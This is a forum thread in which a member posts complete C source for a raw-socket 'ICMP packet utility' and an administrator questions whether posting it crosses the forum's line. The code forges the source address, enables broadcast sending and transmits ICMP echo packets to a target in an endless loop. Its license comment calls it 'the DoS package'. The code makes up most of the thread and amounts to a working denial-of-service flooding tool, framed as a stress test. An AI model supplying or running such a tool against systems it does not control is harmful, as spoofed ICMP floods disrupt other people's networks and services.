You are not logged in.

#1 2013-12-27 02:51:58

DeadDingo
Member
Registered: 2012-09-29
Posts: 46

Icmp packet utility

While researching socket programming in C, I stumbled upon a piece of code designed to repetitively send icmp packets to a given target. The concept peaked my interest as a viable stress test for a home router, so i copied and compiled the code to see if and how it worked.... well, it DIDN'T work... The code didn't even compile, let alone run.  Still interested and not wanting to let this go, I re-wrote the code.  Made it better and made it work.  I believe this is an interesting utility to say the least and I encourage anyone reading this to test it (ON YOUR OWN SYSTEMS/NETWORK) and/or give input on how to improve upon it.  Depending on the feedback i get on here I might try to make a package build out of it.

Disclaimer!!:  The following source code is intended specifically for educational purposes and systems testing only.  I take no responsibility, and hold no liability for the misuse of this code.

My source code is listed below.

packetsoup.h

/**
 * Packetsoup.h
 * 
 * Prototype Functions for icmp_pingV2 project
 *
 * Written By DeadDingo
 * All Rights Reserved 12.21.2013
 * 
 * */


#ifndef PACK_SOUP_H_
#define PACK_SOUP_H_

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>

typedef unsigned char u8;
typedef unsigned short int u16;


/**
 * Description:
 * Calculates the checksum on a packet to packet basis
 *
 * */
unsigned short in_cksum(unsigned short *ptr, int nbytes);


/**
 * Description:
 * Displays Usage Dialog
 * 
 * */
void Usage( void );


#endif

packetsoup.c

/**
 * Packsoup.c
 *
 *
 * Written by DeadDingo
 * All Rights Reserved 12.21.2013
 * 
 * Note:
 * in_cksum() function written by Silver Moon
 *
 * */

#include "packetsoup.h"

unsigned short in_cksum(unsigned short *ptr, int nbytes) {

  register long sum;
  u_short oddbyte;
  register u_short answer;

  sum = 0;
  while(nbytes > 1) {
    sum += *ptr++;
    nbytes -= 2;
  }

  if(nbytes == 1) {
    oddbyte = 0;
    *((u_char *) & oddbyte ) = *(u_char *) ptr;
    sum += oddbyte;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;

  return answer;

}

void Usage( void ) {

  puts("Usage: ");
  puts(" -s <source address>");
  puts(" -d <destination address>");
  puts(" -p <payload size>");

  printf("a.out -s <source address> -d <destination address> -p <payload size>\n");

  exit(8);

}

main.c

/**
 * icmp_pingV2 project
 * ICMP packet utility
 *
 *
 * Orriginally Written By Silver Moon
 *
 * Version 2 Written By DeadDingo
 * Copyright 12.21.2013
 *
 *
 * This file is part of the icmp_ping package
 *
 * The icmp_pingV2 package is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public Licence as published by
 * the Free Software Foundation, either version 3 of the Licence, or
 * (at your option) any later version.
 *
 * The icmp_pingV2 package is distrubuted in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABLILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public Licence for more details.
 *
 * You should have received a copy of the GNU General Public Licence
 * along with the DoS package.  If not, see <http://www.gnu.org/licences/>.
 *
 *
 * ================================================
 * Version 2 Channel Log:
 *
 *  - Better Argument Parsing
 *  - Better Error Checking
 *  - Fixed Bad Structure Types (Now runs on BSD, Linux, and OSX)
 *  - Fixed Bad Member Variables
 *  - Added Usage Dialog
 *
 *
 * */

#include "packetsoup.h"


int main ( int argc, char *argv[ ] ) {

  unsigned long daddr;
  unsigned long saddr;
  int payload_size = 0, sent, sent_size, on, i;


  /*
  * Argument Parsing...*/

  if(argc < 3) {
    Usage();
  }

  for( i = 1; i < argc; i ++ ) {
    
    if(strncmp(argv[i], "-s", 2) == 0) {
      saddr = inet_addr(argv[i+1]);
    }
    if(strncmp(argv[i], "-d", 2) == 0) {
      daddr = inet_addr(argv[i+1]);
    }
    if(strncmp(argv[i], "-p", 2) == 0) {
      payload_size = atoi(argv[i+1]);
    }
  } //end for loop
  //end arg parsing


  //Get Raw Socket
  int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

  if(sockfd < 0) {
    perror("Could not create socket:");
    return 0;
  }

  puts("Socket Is Live!");

  //provide packet headers
  if( setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1 ) {
    perror("setsockopt:");
    return 0;
  }

  //allow socket to send datagrams to broadcast addresses
  if( setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, (const char *)&on, sizeof(on)) == -1 ) {
    perror("setsockopt");
    return 0;
  }


  //calc packet size
  int packet_size = sizeof(struct ip) + sizeof(struct icmp) + payload_size;
  char *packet = (char *)malloc(packet_size);

  if(!packet) {
    perror("Memory Error");
    close(sockfd);
    return 0;
  }

  //ip header
  struct ip *iphdr = (struct ip *)packet;
  struct icmp *icmphdr = (struct icmp *) (packet + sizeof(struct ip));

  //zero the packet buffer
  memset(packet, 0, packet_size);
  
  //set member variables and whatnot
  iphdr->ip_v = 4;
  iphdr->ip_hl = 5;
  iphdr->ip_tos = 0;
  iphdr->ip_len = htons(packet_size);
  iphdr->ip_id = rand();
  iphdr->ip_off = 0;
  iphdr->ip_ttl = 255;
  iphdr->ip_p = IPPROTO_ICMP;
  iphdr->ip_src.s_addr = saddr;
  iphdr->ip_dst.s_addr = daddr;
  //
  
  icmphdr->icmp_type = ICMP_ECHO;
  icmphdr->icmp_code = 0;
  icmphdr->icmp_seq = rand();
  icmphdr->icmp_id = rand();
  icmphdr->icmp_cksum = 0;
  
  struct sockaddr_in servaddr;
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = daddr;

  memset(&servaddr.sin_zero, 0, sizeof(servaddr.sin_zero));

  puts("sending to target...");

  while(1) {

    memset(packet + sizeof(struct ip) + sizeof(struct icmp), rand() % 255, payload_size);
    
    //calculate icmp header checksum
    icmphdr->icmp_cksum = 0;
    icmphdr->icmp_cksum = in_cksum( (unsigned short *)icmphdr, sizeof(struct icmp) + payload_size );

    if( ( sent_size = sendto( sockfd, packet, packet_size, 0, (struct sockaddr *) &servaddr, sizeof(servaddr) ) ) < 1 ) {
      perror("Packet Send Failed");
      break;
    }
    ++sent;
    printf("%d packets sent\r", sent);
    fflush(stdout);

    usleep(10000);

  }

  free(packet);
  close(sockfd);

  return 0;
}

Last edited by DeadDingo (2013-12-27 04:07:24)


In order to understand recursion, one must first understand recursion.

Offline

#2 2013-12-27 03:15:17

ewaller
Administrator
From: Pasadena, CA
Registered: 2009-07-13
Posts: 20,334

Re: Icmp packet utility

Why are we posting this?
I am concerned about whether improper use of this stepping over our line


Nothing is too wonderful to be true, if it be consistent with the laws of nature -- Michael Faraday
Sometimes it is the people no one can imagine anything of who do the things no one can imagine. -- Alan Turing
---
How to Ask Questions the Smart Way

Offline

#3 2013-12-27 03:21:17

DeadDingo
Member
Registered: 2012-09-29
Posts: 46

Re: Icmp packet utility

I can see how this code can fall into that category, however I have posted it without malicious intension and it is meant to be nothing but an interesting utility.  You are welcome to remove my post if you see fit.


In order to understand recursion, one must first understand recursion.

Offline

#4 2013-12-27 03:23:23

ewaller
Administrator
From: Pasadena, CA
Registered: 2009-07-13
Posts: 20,334

Re: Icmp packet utility

We will see what happens smile


Nothing is too wonderful to be true, if it be consistent with the laws of nature -- Michael Faraday
Sometimes it is the people no one can imagine anything of who do the things no one can imagine. -- Alan Turing
---
How to Ask Questions the Smart Way

Offline

#5 2013-12-27 03:32:42

DeadDingo
Member
Registered: 2012-09-29
Posts: 46

Re: Icmp packet utility

Ok sounds good, like I said, it is meant to be a learning tool as some of the demo code available online does not accurately portray the proper ip structures needed for socket communication.  I actually had to read through a bunch of C libraries to find the correct structs and member variables.


In order to understand recursion, one must first understand recursion.

Offline

Board footer

Powered by FluxBB